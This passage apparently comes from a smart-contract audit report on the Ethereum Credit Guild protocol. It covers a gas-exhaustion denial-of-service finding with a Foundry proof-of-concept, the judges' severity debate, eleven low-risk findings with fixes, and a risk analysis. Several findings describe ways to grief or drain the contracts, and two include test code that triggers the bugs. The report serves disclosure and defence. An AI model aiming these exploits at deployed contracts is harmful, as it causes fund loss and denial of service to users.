of SurplusGuildMinter
will either consume excessive amount of gas, or revert with Out-Of-Gas reason after certain number of gauges/terms were added.
Proof of Concept
- Alice stakes Credit tokens in
SurplusGuildMinter
. - Some number of terms are added to the protocol.
- When further Alice tries to call
stake()
,unstake()
, orgetReward()
, the call reverts due to Out-Of-Gas reason:
// Put inside test/unit/loan/SurplusGuildMinter.t.sol
function test_dos() public {
address alice = address(789);
// Number of terms that triggers OOG for stake/unstake/getReward
uint256 numTerms = 6500;
address[] memory terms = new address[](numTerms);
guild.setMaxGauges(numTerms + 1);
credit.mint(alice, 10e18);
// Alice stakes Credit tokens
vm.startPrank(alice);
credit.approve(address(sgm), 10e18);
sgm.stake(term, 10e18);
vm.stopPrank();
// Create terms
credit.mint(address(this), 10e18 * numTerms);
credit.approve(address(sgm), 10e18 * numTerms);
for (uint256 i; i < numTerms; i++) {
address _term = address(new MockLendingTerm(address(core)));
terms[i] = _term;
guild.addGauge(1, _term); // gaugeType = 1
sgm.stake(_term, 10e18);
}
uint256 gasBefore = gasleft();
// Alice tries to call getRewards()
sgm.getRewards(alice, term);
uint256 gasAfter = gasleft();
uint256 BLOCK_GAS_LIMIT = 30e6;
// getRewards() consumes more gas than block gas limit of 30Mil
// reverts with OOG
require(gasBefore - gasAfter > BLOCK_GAS_LIMIT);
}
Run Poc with the following command:
forge test --mp test/unit/loan/SurplusGuildMinter.t.sol --mt test_dos
Recommended Mitigation Steps
Inside SurplusGuildMinter.getReward(user, term)
call:
ProfitManager(profitManager).claimRewards(address(this), term)
Instead of:
ProfitManager(profitManager).claimRewards(address(this))
Since the purpose of SurplusGuildMinter.getReward(user, term)
is to update the profit index only for a specific term
, so there is no need to update profit indexes across all available terms.
Assessed type
DoS
eswak (Ethereum Credit Guild) confirmed via duplicate issue #1110
I chose this issue to be the primary issue since it has a clear description and contains a PoC.
@TrungOre, this issue stems from an admin mistake making low based on c4 severity standardization:
Reckless admin mistakes are invalid.
PS: It is very unlikely that the
GAUGE_PARAMETERS
role will set max gauges to 6500.
serial-coder (warden) commented:
@btk - You misunderstood. The configuration in the deployment script allows the
SurplusGuildMinter
contract to subscribe to terms over the maximum gauges setting (unlimited!).Note: to view the provided image, please see the original submission here.
@serial-coder - I would like to understand a little bit more about this. So, the configuration deployment script allows the SurplusGuildMinter to subscribe to an unlimited number of gauges, but, isn’t the admin role the one who has the permissions to subscribe a SurplusGuildMinter to terms?
I think @btk has a point here. If the admin is the only one who can subscribe the SurplusGuildMinter to terms, then, subscribing to such an excessing amount of terms would be an admin mistake, isn’t it?
serial-coder (warden) commented:
@0xStalin - You might have an incorrect assumption. The protocol lets GUILD community voters vote for onboarding lending terms. Specifically, the GUILD holders can vote to onboard and register lending terms to the
SurplusGuildMinter
contract through theLendingTermOnboarding::proposeOnboard()
.This is not specific to protocol admins. As long as the term receives a sufficient voting quorum, it will be registered to the
SurplusGuildMinter
contract.
@serial-coder - But also, the GUILD community voters have the incentive to vote against onboarding a lending term that is not beneficial for them, right? So, what is the incentive for a “malicious user” or “malicious voter” to max out the number of terms that a SuplusGuildMinter can have? Considering they need to pay gas for all those transactions, plus, they need to put down PeggedTokens so they can earn CreditTokens to eventually earn GUILD tokens as rewards?
carrotsmuggler (warden) commented:
Looks quite unlikely, in my opinion. If we look at the uniswapV2 factory contract, we see there was only ever 1956 pair deployments on a permissionless free-for-all contract. Expecting a semi-permissioned system to hit 6k+ is extremely unrealistic. OOG errors should only be valid if there is a straightforward way to trigger them. While the impact is high, the likelihood is extremely low, and should be downgraded.
I understand that the likelihood of this issue occurring is very low, but there is no evidence to prove that it cannot happen in the future. The PoC test used 6500 terms, but they didn’t transfer any rewards. Therefore, the number of terms needed to exceed the block gas limit in a real case is much lower, as transferring tokens will consume a significant amount of gas. The protocol might have a large number of active lending terms across multiple markets in the future, so there is no guarantee that this number is always safe. This vulnerability has a significant impact, which will cause losses to mitigate, so I believe medium severity is appropriate. Additionally, the sponsor didn’t dispute its severity.
Low Risk and Non-Critical Issues
For this audit, 23 reports were submitted by wardens detailing low risk and non-critical issues. The report highlighted below by SBSecurity received the top score from the judge.
The following wardens also submitted reports: beber89, EVDoc, Cosine, 0xbepresent, lsaudit, ether_sky, Bauchibred, deliriusz, tsvetanovv, EloiManuel, ZanyBonzy, Aymen0909, nadin, klau5, 0xaltego, Tendency, Sathish9098, rvierdiiev, HighDuty, hals, grearlake, and Timeless.
Issue Summary
ID | Title |
---|---|
[01] | ProfitManager::donateToTermSurplusBuffer() does not check if the term is from the same market |
[02] | ProfitManager::NotifyPnL will revert in case of loss == (_surplusBuffer + termSurplusBuffer ) |
[03] | MinBorrow must be based on the market token |
[04] | gUSDC onboarder can allow implementation of other markets (eg. gWETH) |
[05] | CoreRef::emergencyAction is susceptible to returnbomb attack |
[06] | If borrower becomes blacklisted for his collateral his loan needs to be forgiven in case to receive it |
[07] | IncrementGauge can be called with 0 weight |
[08] | Setters should prevent re-setting of the same value |
[09] | Credit rewards accrue for slashed users |
[10] | Hardcoded block numbers will lead to unsuccessful off-boarding |
[11] | Hardcoded Min_stake of 1e18 doesn’t incentivize staking expensive tokens |
[01] ProfitManager::donateToTermSurplusBuffer()
does not check if the term is from the same market
Users can lose their CREDIT
tokens by calling or donateToTermSurplusBuffer
for a non-existing term and transferring their tokens to the wrong or eventually non-existing address.
/// @notice donate to surplus buffer of a given term
function donateToTermSurplusBuffer(address term, uint256 amount) external {
CreditToken(credit).transferFrom(msg.sender, address(this), amount);
uint256 newSurplusBuffer = termSurplusBuffer[term] + amount;
termSurplusBuffer[term] = newSurplusBuffer;
emit TermSurplusBufferUpdate(block.timestamp, term, newSurplusBuffer);
}
They won’t be able to rescue their tokens unless contract/user with GUILD_SURPLUS_BUFFER_WITHDRAW
role calls it for a user who has lost his tokens.
/// @notice withdraw from surplus buffer
function withdrawFromSurplusBuffer(address to, uint256 amount)
external
onlyCoreRole(CoreRoles.GUILD_SURPLUS_BUFFER_WITHDRAW)
{
uint256 newSurplusBuffer = surplusBuffer - amount; // this would revert due to underflow if withdrawing > surplusBuffer
surplusBuffer = newSurplusBuffer;
CreditToken(credit).transfer(to, amount);
emit SurplusBufferUpdate(block.timestamp, newSurplusBuffer);
}
Recommendation
Consider adding check if term is actually a LendingTerm
contract, modify donateToTermSurplusBuffer
:
/// @notice donate to surplus buffer of a given term
function donateToTermSurplusBuffer(address term, uint256 amount) external {
+ require(LendingTerm(term).getReferences().creditToken == credit, "ProfitManager: term from wrong market!");
CreditToken(credit).transferFrom(msg.sender, address(this), amount);
uint256 newSurplusBuffer = termSurplusBuffer[term] + amount;
termSurplusBuffer[term] = newSurplusBuffer;
emit TermSurplusBufferUpdate(block.timestamp, term, newSurplusBuffer);
}
[02] ProfitManager::NotifyPnL
will revert in case of loss ==
(_surplusBuffer + termSurplusBuffer
)
An edge case can occur if notifyPnL
is called from LendingTerm
with an amount equal to the sum of _surplusBuffer
and termSurplusBuffer
. The result will be a revert because divide by zero will occur since loss -= _surplusBuffer
that will prevent the bad debt realization:
function notifyPnL(address gauge, int256 amount) external onlyCoreRole(CoreRoles.GAUGE_PNL_NOTIFIER) {
... More code
if (_termSurplusBuffer != 0) {
termSurplusBuffer[gauge] = 0;
emit TermSurplusBufferUpdate(block.timestamp, gauge, 0);
_surplusBuffer += _termSurplusBuffer;
}
if (loss < _surplusBuffer) {
// deplete the surplus buffer
surplusBuffer = _surplusBuffer - loss;
emit SurplusBufferUpdate(block.timestamp, _surplusBuffer - loss);
CreditToken(_credit).burn(loss);
} else {
// empty the surplus buffer
loss -= _surplusBuffer; //@audit will be equal to zero
surplusBuffer = 0;
CreditToken(_credit).burn(_surplusBuffer);
emit SurplusBufferUpdate(block.timestamp, 0);
// update the CREDIT multiplier
uint256 creditTotalSupply = CreditToken(_credit).totalSupply();
uint256 newCreditMultiplier = (creditMultiplier * (creditTotalSupply - loss)) / creditTotalSupply; //@audit 0 / creditTotalSupply
creditMultiplier = newCreditMultiplier;
emit CreditMultiplierUpdate(block.timestamp, newCreditMultiplier);
}
}
Proof of Concept
- Navigate to
src/unit/loan/SurplusGuildMinter.t.sol
. - Place the test.
- Execute the test:
forge test --match-contract "SurplusGuildMinterUnitTest" --match-test "testNotifyPnLDivideByZero"
.
function testNotifyPnLDivideByZero() public {
// setup
credit.mint(address(this), 150e18);
credit.approve(address(sgm), 150e18);
sgm.stake(term, 150e18);
profitManager.notifyPnL(term, -150e18);
}
Recommendation
While this is extremely rare scenario to occur, consider to handle the case when loss == 0
after the subtraction and take the appropriate actions, as this will indicate that loans are insolvent and term most likely will have to be off-boarded.
[03] MinBorrow
must be based on the market token
In LendingTerm.sol
, minBorrow
is set to 100e18 on deployment which will be a problem when collateralToken
is an expensive asset such as ETH(~$2000 x 100
) or BTC (~$42,000 x 100
). This highly decreases the target group of people who are willing to put in that much collateral and open a loan, especially in an immature protocol such as ECG.
require(borrowAmount >= ProfitManager(refs.profitManager).minBorrow(), "LendingTerm: borrow amount too low");
uint256 internal _minBorrow = 100e18;
function minBorrow() external view returns (uint256) {
return (_minBorrow * 1e18) / creditMultiplier;
}
In addition, changing the minBorrow
argument from ProfitManager::setMinBorrow()
proposal should be made and it has to meet a certain quorum, which will take some time.
Recommendation
Consider setting the minBorrow
from the constructor of the ProfitManager
that will make the contracts more versatile and will remove the wait period for executing the setMinBorrow()
function.
constructor(address _core, uint minBorrow) CoreRef(_core) {
emit MinBorrowUpdate(block.timestamp, 100e18);
+ _minBorrow = minBorrow //should be carefully chosen by the contract deployer considering the price of collateral token
}
[04] gUSDC
onboarder can allow implementation of other markets (eg. gWETH
)
There will be many LendingTermOnboarding.sol
contracts for every CREDIT
token used, but there is no check whether the implementation passed to allowImplementation
function is from the same market.
There can be case when certain gWETH
implementation is not allowed in the LendingTermOnboarding
for gWETH
, but mistakenly allowed in the LendingTermOnboarding
for gUSDC
. The result will be fully functioning LendingTerm
onboarded from wrong contract and potentially malicious behaviour.
LendingTermOnboarding.sol#L92-L102
function allowImplementation(
address implementation,
bool allowed
) external onlyCoreRole(CoreRoles.GOVERNOR) {
implementations[implementation] = allowed;
emit ImplementationAllowChanged(
block.timestamp,
implementation,
allowed
);
}
Recommendation
Consider checking if the implementation passed is with the same CREDIT
token as one in the used in this particular LendingTermOnboarding
.
[05] CoreRef::emergencyAction
is susceptible to returnbomb attack
Emergency action defined in CoreRef.sol
which is inherited from all the contracts is a good addition which can be used for various purposes (rescuing tokens, executing certain functions, etc.) but it does not use assembly for consuming the returned data which makes it vulnerable to returnbomb attack. Since this action can be used for various purposes, including calling untrusted external contracts this is a real possibility for griefing attack:
/// @notice due to inflexibility of current smart contracts,
/// add this ability to be able to execute arbitrary calldata
/// against arbitrary addresses.
/// callable only by governor
function emergencyAction(Call[] calldata calls)
external
payable
onlyCoreRole(CoreRoles.GOVERNOR)
returns (bytes[] memory returnData)
{
returnData = new bytes[](calls.length);
for (uint256 i = 0; i < calls.length; i++) {
address payable target = payable(calls[i].target);
uint256 value = calls[i].value;
bytes calldata callData = calls[i].callData;
(bool success, bytes memory returned) = target.call{value: value}(callData);
require(success, "CoreRef: underlying call reverted");
returnData[i] = returned;
}
}
Recommendation
Consider using ExcessivelySafeCall library or assembly to remove the potential vulnerability.
[06] If borrower becomes blacklisted for his collateral his loan needs to be forgiven in case to receive it
If a user is blacklisted for his collateral, trying to repay()
will result in a revert. The only way to settle this loan is for the Governor to initiate forgive()
, and then the Governor must transfer the tokens to the user. This design choice may not be ideal, as the user might require these tokens immediately.
Recommendation
Consider implementing a parameter when full repay is called from the borrower to be able to give another collateral receiver.
[07] IncrementGauge
can be called with 0
weight
There is no check whether the passed weight from GUILD
holder is greater than 0
.
function incrementGauge(address gauge, uint256 weight) public virtual returns (uint256 newUserWeight) {
require(isGauge(gauge), "ERC20Gauges: invalid gauge");
_incrementGaugeWeight(msg.sender, gauge, weight);
return _incrementUserAndGlobalWeights(msg.sender, weight);
}
We’ve been discussing potential scenario where this can be used to create an infinite loop in _decrementWeightUntilFree
as the increment of i
is done only in case userGaugeWeight
is different than 0
:
function _decrementWeightUntilFree(address user, uint256 weight) internal {
uint256 userFreeWeight = balanceOf(user) - getUserWeight[user];
// early return if already free
if (userFreeWeight >= weight) return;
// cache totals for batch updates
uint256 userFreed;
uint256 totalFreed;
// Loop through all user gauges, live and deprecated
address[] memory gaugeList = _userGauges[user].values();
// Free gauges until through entire list or underweight
uint256 size = gaugeList.length;
for (
uint256 i = 0;
i < size && (userFreeWeight + userFreed) < weight;
) {
address gauge = gaugeList[i];
uint256 userGaugeWeight = getUserGaugeWeight[user][gauge];
if (userGaugeWeight != 0) {
userFreed += userGaugeWeight;
_decrementGaugeWeight(user, gauge, userGaugeWeight);
// If the gauge is live (not deprecated), include its weight in the total to remove
if (!_deprecatedGauges.contains(gauge)) {
totalTypeWeight[gaugeType[gauge]] -= userGaugeWeight;
totalFreed += userGaugeWeight;
}
unchecked {
++i; //@audit only in case userGaugeWeight != 0
}
}
}
totalWeight -= totalFreed;
}
That way if a user manages to put a gauge with 0
weight at 0
position in his userGauges
and after that all the others, he can effectively avoid slashing and grief the applier who calls applyGaugeLoss
for him.
Other than that transfer
, transferFrom
and burn
will always lead to infinite loop if user doesn’t have enough balance and weight has to be freed, but there is weight of 0
in the first iteration of the for loop above.
Recommendation
Verify that the weight passed is greater than 0
, that will mitigate the possible griefing possibility.
[08] Setters should check if set the same value
The setter functions listed don’t check if the new value is different from the old value.
function _setCore(address newCore) internal {
address oldCore = address(_core);
// @audit-info no check if old == new
_core = Core(newCore);
emit CoreUpdate(oldCore, newCore);
}
function _setQuorum(uint256 newQuorum) internal {
emit QuorumUpdated(_quorum, newQuorum);
// @audit-info no check if old == new
_quorum = newQuorum;
}
function _setQuorum(uint256 newQuorum) internal virtual {
emit QuorumUpdated(_quorum, newQuorum);
// @audit-info old == new check
_quorum = newQuorum;
}
GuildVetoGovernor::_updateTimelock
function _updateTimelock(address newTimelock) private {
emit TimelockChange(timelock, newTimelock);
// @audit-info old == new check
timelock = newTimelock;
}
Recommendation
Add checks to verify that the new value is not equal to the old value.
[09] Credit rewards accrue for slashed users
Note: At the judge’s request here, this downgraded issue from the same warden has been included in this report for completeness.
Lines of code
Impact
Slashed stakers will lose their GUILD
tokens but will still receive CREDIT
tokens once more because creditReward
is not zeroed like guildReward
in SurplusGuildMinter::getRewards()
. That will eventually create bad debt in the system as all the stakers for this term will be slashed and their rewards have to be lost, but this is not the case for the CREDIT
tokens.
Proof of Concept
We can see in the getRewards()
function that _profitIndex
is updated in ProfitManager.claimRewards()
which will increase deltaIndex
and despite the user being slashed he will still receive the CREDIT
tokens that he would have if he hadn’t been slashed:
function getRewards(address user, address term)
public
returns (
uint256 lastGaugeLoss, // GuildToken.lastGaugeLoss(term)
UserStake memory userStake, // stake state after execution of getRewards()
bool slashed // true if the user has been slashed
)
{
bool updateState;
lastGaugeLoss = GuildToken(guild).lastGaugeLoss(term);
if (lastGaugeLoss > uint256(userStake.lastGaugeLoss)) {
slashed = true;
}
// if the user is not staking, do nothing
userStake = _stakes[user][term];
if (userStake.stakeTime == 0)
return (lastGaugeLoss, userStake, slashed);
// compute CREDIT rewards
ProfitManager(profitManager).claimRewards(address(this)); // this will update profit indexes
uint256 _profitIndex = ProfitManager(profitManager).userGaugeProfitIndex(address(this), term);
uint256 _userProfitIndex = uint256(userStake.profitIndex);
if (_profitIndex == 0) _profitIndex = 1e18;
if (_userProfitIndex == 0) _userProfitIndex = 1e18;
uint256 deltaIndex = _profitIndex - _userProfitIndex;
if (deltaIndex != 0) {
uint256 creditReward = (uint256(userStake.guild) * deltaIndex) / 1e18;
uint256 guildReward = (creditReward * rewardRatio) / 1e18;
if (slashed) {
guildReward = 0;
//@audit creditRewards = 0 is missing
}
// forward rewards to user
if (guildReward != 0) {
RateLimitedMinter(rlgm).mint(user, guildReward);
emit GuildReward(block.timestamp, user, guildReward);
}
if (creditReward != 0) {
//@audit will receive them despite being slashed
CreditToken(credit).transfer(user, creditReward);
}
... More code
}
Recommended Mitigation Steps
Consider setting creditReward
to 0
when user passed is staked in order to not transfer any CREDIT
tokens to him when he is slashed:
function getRewards(address user, address term)
public
returns (
uint256 lastGaugeLoss, // GuildToken.lastGaugeLoss(term)
UserStake memory userStake, // stake state after execution of getRewards()
bool slashed // true if the user has been slashed
)
{
... More code
uint256 _profitIndex = ProfitManager(profitManager).userGaugeProfitIndex(address(this), term);
uint256 _userProfitIndex = uint256(userStake.profitIndex);
if (_profitIndex == 0) _profitIndex = 1e18;
if (_userProfitIndex == 0) _userProfitIndex = 1e18;
uint256 deltaIndex = _profitIndex - _userProfitIndex;
if (deltaIndex != 0) {
uint256 creditReward = (uint256(userStake.guild) * deltaIndex) / 1e18;
uint256 guildReward = (creditReward * rewardRatio) / 1e18;
if (slashed) {
guildReward = 0;
+ creditReward = 0
}
// forward rewards to user
if (guildReward != 0) {
RateLimitedMinter(rlgm).mint(user, guildReward);
emit GuildReward(block.timestamp, user, guildReward);
}
if (creditReward != 0) {
//@audit will receive them despite being slashed
CreditToken(credit).transfer(user, creditReward);
}
... More code
}
Assessed type
Context
TrungOre (judge) decreased severity to Low
[10] Hardcoded block numbers will lead to unsuccessful off-boarding
Note: At the judge’s request here, this downgraded issue from the same warden has been included in this report for completeness.
Lines of code
Impact
Off-boarding is with a duration of 46523 blocks (7 days), calculated from block.number
on the Ethereum chain 13 sec/block, but the development team wants to deploy in L2 chains as well:
Deployment: we anticipate to launch on Ethereum mainnet & L2s like Arbitrum.
There is no way to change the off-boarding duration and most of the proposals on the L2 chains will fail due to the high amount of votes required in a short amount of period.
Proof of Concept
The most widely used L2 chains are Arbitrum
, Optimism
, and Polygon zkEVM
. But the average block time is different on all of them:
Arbitrum
- 0.26 sec.Optimism
- 2 sec.Polygon zkEVM
- 7 sec.
On Optimism 46523 blocks will pass for approximately 26 hours as there are 1800 blocks per hour.
If we take Arbitrum 46523 blocks will pass for approximately 3 hours and 36 minutes as there are 13846 blocks per hour.
We can see from the proposals (GIP_0.sol
) 10_000_000e18
set as an OFFBOARD_QUORUM
and we can conclude that there is no way quorum to be satisfied within 216 minutes.
Governor can change the quorum for a given LendingTermOffboarding.sol
contract but this exposes risk as this will significantly decrease the decentralization.
Recommended Mitigation Steps
Consider allowing the deployer to set the POLL_DURATION_BLOCKS
from the constructor instead of assigning it to constant.
Assessed type
Math
TrungOre (judge) decreased severity to Low
[11] Hardcoded Min_stake
of 1e18 doesn’t incentivize staking expensive tokens
Note: At the judge’s request here, this downgraded issue from the same warden has been included in this report for completeness.
Lines of code
Impact
Each CREDIT Token holder (gUSDC
, gWETH
, gWBTC
, etc.) can stake them and start voting in a gauge. However, there’s a minimum staking amount (MIN_STAKE
) of 1e18. This means that for certain markets, staking will be more expensive compared to others because of this fixed minimum stake requirement.
Proof of Concept
For instance, in the case of gUSDC
, users looking to stake will need to provide approximately 1 USDC (based on creditMultiplier
). On the other hand, for gWBTC
, they would need to stake around 1 BTC ($42,000
at the time of writing). This could discourage users from staking in such terms.
contract SurplusGuildMinter is CoreRef {
/// @notice minimum number of CREDIT to stake
uint256 public constant MIN_STAKE = 1e18;
....
Recommended Mitigation Steps
Include the MIN_STAKE
value in the constructor, making it dependent on the Credit Token for that specific term.
Assessed type
Context
TrungOre (judge) decreased severity to Low
TrungOre (judge) commented via issue #1061:
[01] - Low
[02] - Low
[03] - Information
[04] - Low
[05] - Information
[06] - Low
[07] - Low
[08] - Non-Critical
[09] - Low
[10] - Low
[11] - Low
Audit Analysis
For this audit, 10 analysis reports were submitted by wardens. An analysis report examines the codebase as a whole, providing observations and advice on such topics as architecture, mechanism, or approach. The report highlighted below by Sathish9098 received the top score from the judge.
The following wardens also submitted reports: SBSecurity, 0xSmartContract, beber89, hunter_w3b, invitedtea, JayShreeRAM, 14si2o_Flint, pavankv, and Myd.
Overview
The Ethereum Credit Guild is a DeFi protocol featuring a dual-token system: GUILD for governance and gUSDC as a debt token.
Smart Contracts: Utilizes contracts like LendingTerm for loan conditions, and AuctionHouse for asset liquidation.
Gauge Voting System: Allows GUILD holders to vote on credit limits and loan terms, aligning governance with financial outcomes.
Token Mechanics: GUILD tokens are minted via staking gUSDC, with functionalities centered around protocol governance.
Risk and Debt Management: Implements strategies for managing bad debt and liquidation, adjustable through governance votes.
Decentralized Governance: Employs a governance model allowing token holders to make key protocol decisions, ensuring community-driven management.
Project’s Risk Model
Risks of using forgive()
function
function forgive(bytes32 loanId) external {
// this view function will revert if the auction is not started,
// or if the auction is already ended.
(, uint256 creditAsked) = getBidDetail(loanId);
require(creditAsked == 0, "AuctionHouse: ongoing auction");
// close the auction in state
auctions[loanId].endTime = block.timestamp;
nAuctionsInProgress--;
// notify LendingTerm of auction result
address _lendingTerm = auctions[loanId].lendingTerm;
LendingTerm(_lendingTerm).onBid(
loanId,
msg.sender,
0, // collateralToBorrower
0, // collateralToBidder
0 // creditFromBidder
);
// emit event
emit AuctionEnd(
block.timestamp,
loanId,
LendingTerm(_lendingTerm).collateralToken(),
0, // collateralSold
0 // debtRecovered
);
}
Technical Implications
Debt Obligation Erasure: The borrower’s debt is erased without any repayment or collateral recovery, leading to a direct financial loss for the protocol.
CreditMultiplier Impact: In protocols where a creditMultiplier
affects loan calculations, such losses might necessitate adjustments to this multiplier, impacting all borrowers and the tokenomics.
Protocol’s Risk Exposure
Financial Health: Accumulation of such losses can strain the protocol’s financial reserves.
Risk Management: It highlights potential gaps in the risk assessment framework, particularly in collateral valuation and liquidity.
Tokenomics and Inflationary Pressure: If the protocol compensates for losses by minting new tokens (e.g., CREDIT), it could lead to inflationary pressure. This impacts the trust and stability of the native token.
Example Scenario:
Suppose a borrower has a loan of 5,000 CREDIT against a certain crypto-asset as collateral. A significant market event renders the asset worthless. The auction fails to attract bidders, leading to the invocation of forgive.
Systemic risks
gUSDC Value Fluctuations Risks
gUSDC, being pegged to USDC, should ideally maintain a stable value. However, if its value deviates significantly from USDC (due to market dynamics, liquidity issues, or rebasing mechanics), this could impact the borrowing and lending operations.
Impact on Lending and Borrowing Operations
Loan-to-Value (LTV) Ratio Volatility: gUSDC fluctuations directly impact LTV ratios in lending protocols. A drop in gUSDC value could suddenly increase LTVs, signaling higher risk for lenders. Conversely, an increase might lower LTVs, potentially underutilizing collateral.
Under-collateralization and Liquidations: A significant decrease in gUSDC value may lead to loans becoming under-collateralized Protocols typically monitor LTV ratios to manage risk; breached thresholds trigger liquidations. Forced liquidations can create additional market pressure, exacerbating price instability.
Impact on Borrower’s Position: Borrowers might be forced to provide additional collateral or repay part of the loan to avoid liquidation. Unanticipated market movements can result in financial losses or margin calls for borrowers.
Market Sentiment: Persistent instability in gUSDC could erode user confidence in the peg mechanism. Potential contagion effects in interconnected DeFi ecosystems where gUSDC is widely used.
GUILD Tokens and Gauge Voting Risk
GUILD tokens are used for governance decisions, including voting on LendingTerms. Significant changes in the GUILD value could influence voter behavior, potentially skewing decision-making towards short-term gains rather than long-term protocol health. If GUILD’s value increases significantly, it might attract speculative voting behavior, while a decrease in value could lead to apathy or reduced participation among stakeholders.
Rebasing and gUSDC Stability Risk
The ERC20RebaseDistributor mechanism might be involved in maintaining gUSDC’s peg to USDC. If rebasing is not accurately aligned with market conditions, it could lead to either inflationary or deflationary pressures on gUSDC. Inaccurate rebasing can affect users’ trust in gUSDC’s stability, which is crucial for its function as a credit token.
Impacts of Inaccurate Rebasing
Inflationary/Deflationary Pressures: Inflationary rebasing (increasing supply) can dilute token value, potentially leading to a loss in purchasing power. Deflationary rebasing (decreasing supply) can create scarcity, potentially leading to an unsustainable increase in token value.
Collateral Auction Dynamics in AuctionHouse
The AuctionHouse contract presumably handles liquidations of collateral. Fluctuations in gUSDC or the collateral’s value could impact the efficacy of these auctions. In a scenario where gUSDC’s value drops, the proceeds from liquidation auctions might not cover the outstanding loans, leading to bad debt.
Risks and Impact
Bid Dynamics: The attractiveness of the auction to bidders depends on the perceived value of the collateral and the stability of gUSDC. In a volatile market, bidder hesitation or low turnout can impact the auction’s success.
Impact on Credit Ceiling and Lending Terms
Changes in gUSDC value could necessitate adjustments in global debt ceilings and other parameters within LendingTerms to manage the protocol’s overall risk exposure. If gUSDC devalues, the protocol might need to reduce its debt ceiling to maintain a healthy collateralization ratio across its loan portfolio.
Minting and Staking Dynamics
The mechanism for staking gUSDC to mint GUILD, and the reverse process, might be influenced by the changing values of these tokens. A decline in GUILD’s value, for instance, could reduce the incentive for users to stake gUSDC.
Technical risks
ERC20RebaseDistributor
Precision and Rounding Errors: Complex rebasing calculations could lead to precision loss or rounding errors, affecting token balances.
Rebasing Side Effects: Unintended side effects of rebasing on user balances, particularly if user interactions occur during the rebasing process.
AuctionHouse
Liquidation Logic Flaws: Errors in implementing the liquidation logic could lead to inefficient or incorrect asset liquidation.
Smart Contract Interactions: Vulnerabilities in how AuctionHouse interacts with other contracts, like token contracts or external DeFi platforms.
LendingTerm
Loan Parameters Handling: Inaccuracies in setting or modifying loan parameters (interest rates, collateral ratios) could affect lending operations.
Loan Lifecycle Management: Bugs in the management of loan states (active, defaulted, liquidated) could result in incorrect system behavior.
General Technical Risks
Parameter Adjustment Vulnerabilities: Mismanagement or errors in adjusting critical protocol parameters could destabilize the system.
Reentrancy Attacks: Functions that transfer funds or interact with external contracts could be vulnerable to reentrancy attacks.
Gas Limitations and Inefficiencies: Functions, particularly those with complex logic, might consume excessive gas, leading to high transaction costs or failures.
Inter-Contract Dependency Risks: Given the interconnected nature of the contracts, a bug or failure in one contract (e.g., ERC20RebaseDistributor) could adversely affect others (like LendingTerm).
Front-Running in AuctionHouse: Potential for front-running in auction bids, where miners or other users could exploit the transaction ordering for their benefit.
Integration risks
Inter-Contract Financial Calculations: Any financial calculations in other contracts (like yield farming rewards, fee distributions, etc.) relying on token balances might yield incorrect results post-rebase.
Consistency in Asset Valuation: The value of assets transferred during the auction needs to be consistent with their valuation in other parts of the system. Discrepancies here can affect the protocol’s financial accuracy.
Collateralization and Loan Agreements: In lending scenarios, where the rebased token might be used as collateral, changes in token quantity could affect collateralization ratios. This might inadvertently trigger liquidations or alter loan terms.
Liquidity Pools and DeFi Protocols: If the rebased token is used in liquidity pools or other DeFi protocols, a rebase event can change the value or quantity of tokens in these pools. This could lead to issues like imbalanced pools, affecting staking, lending, or swapping operations.
Rebase Impact on Other Contracts: The rebasing mechanism could have unintended impacts on contracts that interact with the rebased token. For example, if other contracts are not designed to handle rebasing tokens correctly, users’ balances or contract states might become inconsistent after a rebase event.
Governance Decisions Propagation: Decisions made through the governance process, particularly by the GOVERNOR, might involve changes in multiple contracts. Ensuring that these changes are synchronized and do not create conflicts or inconsistencies is a significant integration concern.
Role Changes and Access Control: Adjustments in roles or permissions must be propagated correctly across all affected contracts to avoid access control breaches or functional discrepancies.
Data Synchronization: Ensuring that all relevant contracts have up-to-date and synchronized information regarding loan terms, active loans, and borrower details is crucial.
Admin abuse risks
Roles
// Initial roles setup: direct hierarchy, everything under governor
_setRoleAdmin(CoreRoles.GOVERNOR, CoreRoles.GOVERNOR);
_setRoleAdmin(CoreRoles.GUARDIAN, CoreRoles.GOVERNOR);
_setRoleAdmin(CoreRoles.CREDIT_MINTER, CoreRoles.GOVERNOR);
_setRoleAdmin(CoreRoles.RATE_LIMITED_CREDIT_MINTER, CoreRoles.GOVERNOR);
_setRoleAdmin(CoreRoles.GUILD_MINTER, CoreRoles.GOVERNOR);
_setRoleAdmin(CoreRoles.RATE_LIMITED_GUILD_MINTER, CoreRoles.GOVERNOR);
_setRoleAdmin(CoreRoles.GAUGE_ADD, CoreRoles.GOVERNOR);
_setRoleAdmin(CoreRoles.GAUGE_REMOVE, CoreRoles.GOVERNOR);
_setRoleAdmin(CoreRoles.GAUGE_PARAMETERS, CoreRoles.GOVERNOR);
_setRoleAdmin(CoreRoles.GAUGE_PNL_NOTIFIER, CoreRoles.GOVERNOR);
_setRoleAdmin(
CoreRoles.GUILD_GOVERNANCE_PARAMETERS,
CoreRoles.GOVERNOR
);
_setRoleAdmin(
CoreRoles.GUILD_SURPLUS_BUFFER_WITHDRAW,
CoreRoles.GOVERNOR
);
_setRoleAdmin(
CoreRoles.CREDIT_GOVERNANCE_PARAMETERS,
CoreRoles.GOVERNOR
);
_setRoleAdmin(CoreRoles.CREDIT_REBASE_PARAMETERS, CoreRoles.GOVERNOR);
_setRoleAdmin(CoreRoles.TIMELOCK_PROPOSER, CoreRoles.GOVERNOR);
_setRoleAdmin(CoreRoles.TIMELOCK_EXECUTOR, CoreRoles.GOVERNOR);
_setRoleAdmin(CoreRoles.TIMELOCK_CANCELLER, CoreRoles.GOVERNOR);
Sets up a role-based access control system in a Ethereum Credit Guild, with a strong centralization of power under the GOVERNOR role
Risk of Admin Abuse
- The
GOVERNOR
has administrative power over all roles, potentially leading to a single point of control and decision-making. This centralization can be efficient for management but poses risks of abuse or mismanagement. - Centralization of control makes the system vulnerable to the decisions or actions of the GOVERNOR. If the GOVERNOR acts maliciously or is compromised, the entire protocol could be at risk.
- With the GOVERNOR controlling all key roles, including those related to minting tokens (
CREDIT_MINTER
,GUILD_MINTER
), managing gauges (GAUGE_ADD
,GAUGE_REMOVE
,GAUGE_PARAMETERS
), and executing time-locked transactions (TIMELOCK_PROPOSER
,TIMELOCK_EXECUTOR
,TIMELOCK_CANCELLER
), there’s a risk that this power could be used in ways that are not in the best interest of the protocol or its users.
Future Scalability and Adaptability
Challenges in Protocol Evolution: As the protocol grows and evolves, the centralized GOVERNOR structure might become a bottleneck, hindering the adoption of changes and updates that require a broader consensus.
Potential for Governance Gridlock : Over time, the concentration of power might lead to governance gridlock if the GOVERNOR becomes resistant to changes or if there’s a conflict of interest within the community.
Architecture assessment of business logic
